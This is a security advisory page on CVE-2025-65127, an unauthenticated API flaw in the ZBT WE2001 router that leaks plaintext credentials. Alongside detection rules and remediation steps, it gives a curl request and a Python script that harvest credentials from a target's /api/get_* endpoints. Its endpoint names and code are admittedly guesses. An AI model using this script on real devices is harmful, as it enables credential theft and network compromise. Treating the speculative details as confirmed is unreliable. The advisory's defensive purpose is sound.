CVE-2025-65127
Executive Summary
CVE-2025-65127 exposes a critical missing authentication vulnerability in the web API of the Shenzhen Zhibotong Electronics ZBT WE2001 router (firmware version 23.09.27). The flaw allows any remote, unauthenticated attacker to invoke administrative get_* API operations, retrieving sensitive device configuration data including plaintext credentials. This effectively bypasses all session validation, granting full read access to the device's administrative interface without requiring a login session. The vulnerability is trivial to exploit and has a high confidentiality impact, as it leaks Wi-Fi passwords, ISP credentials, and other secrets in cleartext.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded IoT device (router). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – the vulnerable component is the only affected asset.
- Confidentiality Impact: High (C:H) – full disclosure of device configuration and credentials.
- Integrity Impact: None (I:N) – no write capability.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: High. The vulnerability is easily exploitable by any attacker with network access to the device (including over the internet if exposed). The leaked credentials can be used for lateral movement, network compromise, or further attacks.
Deep Dive & Mechanics
The ZBT WE2001 router exposes a web API endpoint that handles administrative functions. The API is designed to be used by authenticated administrators via a session token. However, the get_* operations (e.g., get_config, get_wifi_credentials, get_admin_password) do not validate the presence or validity of a session token. The server simply processes the request and returns the requested data.
Root Cause: Missing authorization check in the API handler for get_* operations. The code likely checks for the existence of a session variable but does not enforce that the session is authenticated. Alternatively, the check is completely absent.
Attack Flow:
- Attacker identifies a ZBT WE2001 device (e.g., via Shodan or local network scanning).
- Attacker sends an HTTP GET request to the vulnerable API endpoint, e.g.,
http://<router-ip>/api/get_config. - The server responds with a JSON object containing the full device configuration, including plaintext credentials (Wi-Fi SSID/password, ISP PPPoE username/password, admin login credentials).
- Attacker uses the obtained credentials to gain full administrative access to the router or to connect to the victim's Wi-Fi network.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:
# Vulnerable pseudo-code
@app.route('/api/get_config')
def get_config():
# No session validation
config = load_device_config()
return jsonify(config)
A patched version would include session validation:
# Patched pseudo-code
@app.route('/api/get_config')
def get_config():
if not session.get('authenticated'):
return jsonify({'error': 'Unauthorized'}), 401
config = load_device_config()
return jsonify(config)
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A ZBT WE2001 router on the same network (or exposed to the internet).
- Any HTTP client (curl, Python, browser).
Exploit Steps:
- Discover the device: Use Shodan or scan local network for port 80/443 with the ZBT WE2001 web interface.
- Enumerate API endpoints: The vulnerable endpoints are likely under
/api/and start withget_. Common endpoints:/api/get_config/api/get_wifi/api/get_admin/api/get_wan
- Extract credentials: Send a GET request to one of these endpoints.
Example using curl:
curl http://192.168.1.1/api/get_config
Expected response (truncated):
{
"admin_password": "admin123",
"wifi_ssid": "ZBT_WE2001",
"wifi_password": "wifipass",
"pppoe_username": "user@isp.com",
"pppoe_password": "isppass"
}
Automated exploitation script (Python):
import requests
import sys
def exploit(target_ip):
endpoints = [
"/api/get_config",
"/api/get_wifi",
"/api/get_admin",
"/api/get_wan"
]
for ep in endpoints:
url = f"http://{target_ip}{ep}"
try:
r = requests.get(url, timeout=5)
if r.status_code == 200:
print(f"[+] Success: {url}")
print(r.text)
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python exploit.py <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Blue Team (Detection & Defense)
Detection:
- Monitor for HTTP requests to
/api/get_*endpoints from unauthenticated sources. - Look for anomalous traffic patterns: repeated requests to multiple
get_*endpoints in quick succession. - Alert on any successful response from these endpoints without a prior login event.
Defense:
- Immediate: If possible, restrict access to the router's web interface to trusted IPs only (e.g., via firewall rules).
- Mitigation: Disable remote management if not required. Change default credentials immediately.
- Long-term: Apply a firmware patch from the vendor when available. If no patch is forthcoming, consider replacing the device.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/api/get_config,/api/get_wifi,/api/get_admin,/api/get_wan. - Source IP addresses making multiple such requests without prior authentication.
- Responses containing JSON with keys like
admin_password,wifi_password,pppoe_password.
- HTTP GET requests to
Host IOCs (on the router):
- Unusual entries in the router's access logs showing requests to
/api/get_*from unknown IPs. - Changes to configuration (if attacker uses leaked credentials to log in).
- Unusual entries in the router's access logs showing requests to
File IOCs:
- None (no file-based persistence).
Detection Engineering
YARA Rule
rule CVE_2025_65127_ZBT_WE2001_Unauth_Access {
meta:
description = "Detects HTTP responses from ZBT WE2001 router leaking credentials via unauthenticated API"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65127"
hash = "unknown"
strings:
$s1 = "admin_password" ascii wide nocase
$s2 = "wifi_password" ascii wide nocase
$s3 = "pppoe_password" ascii wide nocase
$s4 = "get_config" ascii wide nocase
$s5 = "get_wifi" ascii wide nocase
condition:
any of ($s1, $s2, $s3) and any of ($s4, $s5)
}
Sigma Rule
title: CVE-2025-65127 - Unauthenticated API Access to ZBT WE2001
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to ZBT WE2001 router API endpoints that leak configuration data without authentication.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-65127
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-stem|startswith: '/api/get_'
condition: selection
falsepositives:
- Legitimate administrative access from trusted IPs (should be rare)
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.65127
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65127 - ZBT WE2001 Unauthenticated API Access"; flow:to_server; content:"GET"; http_method; content:"/api/get_"; http_uri; nocase; classtype:attempted-recon; sid:10000001; rev:1; reference:cve,2025-65127;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: If the router is exposed to the internet, block inbound access to ports 80/443 from WAN. Use firewall rules to restrict management access to local LAN only.
- Change all credentials: Immediately change the admin password, Wi-Fi password, and any ISP/PPPoE credentials stored on the device. Assume they are compromised.
- Monitor logs: Check router logs for any unauthorized access attempts.
Long-term Actions:
- Vendor patch: Contact Shenzhen Zhibotong Electronics for a firmware update. If no patch is available, consider replacing the router with a more secure model.
- Network segmentation: Place IoT devices like routers on a separate VLAN with restricted access to critical systems.
- Enable logging: Ensure the router logs all API access attempts and forward logs to a SIEM for analysis.
Workaround (if patching is not possible):
- Disable the web management interface entirely and manage the router only via SSH (if available) or physical console.
- Use a reverse proxy with authentication in front of the router's web interface.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.